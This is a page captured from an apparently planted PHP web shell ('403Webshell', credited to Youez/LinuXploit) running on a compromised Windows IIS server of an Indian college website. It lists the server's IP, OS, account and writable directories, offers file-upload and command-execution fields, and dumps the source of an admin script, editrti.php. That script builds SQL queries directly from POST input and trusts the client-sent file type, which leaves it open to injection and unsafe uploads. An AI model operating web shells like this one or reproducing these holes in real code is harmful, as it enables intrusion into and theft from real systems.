403Webshell
Server IP : 50.63.8.194  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT P3NWVPWEB026 10.0 build 17763 (Windows Server 2016) AMD64
User : IWPD_7824(SpiPanel) ( 0)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  G:/PleskVhosts/polyprep.in/mmitshamli.ac.in/mmit_shamli/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : G:/PleskVhosts/polyprep.in/mmitshamli.ac.in/mmit_shamli/admin/editrti.php
<?php
include("connection.php");
if(isset($_POST['rtiedit']))
{
	           $docid=$_POST['d_id'];
		  $title=$_POST['titleedit'];
		  $filetype=$_FILES['file']['type'];
		 // echo $filetype;
		  //exit();
	  $filename=$_FILES['file']['name'];
	  $tmp_name=$_FILES['file']['tmp_name'];
	  			$file_new_name='rti-'.rand(0,9).rand(0,9).rand(0,9).$filename;
	 // echo $filename;
	  //exit();
	  if($filetype=='application/pdf')
	  {
		  if(move_uploaded_file($tmp_name,'rti/'.$file_new_name))
		  { 
			  
			  $qc="select file from tbl_rti where doc_id='$docid'";
			  $resc=mysqli_query($dbCon,$qc);
			  $rowc=mysqli_fetch_array($resc);
			  unlink('rti/'.$rowc['file']);
			  
			  $query="update tbl_rti set title='$title',file='$file_new_name' where doc_id='$docid'";
	        //echo $query;
	        //exit();
	           mysqli_query($dbCon,$query);
			   	  header("location:rti.php");
			  
		  }
	  }
	  else
	  {
		  header('location:rti.php?msg?Please Choose Correct File Type');
	  }
	   
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit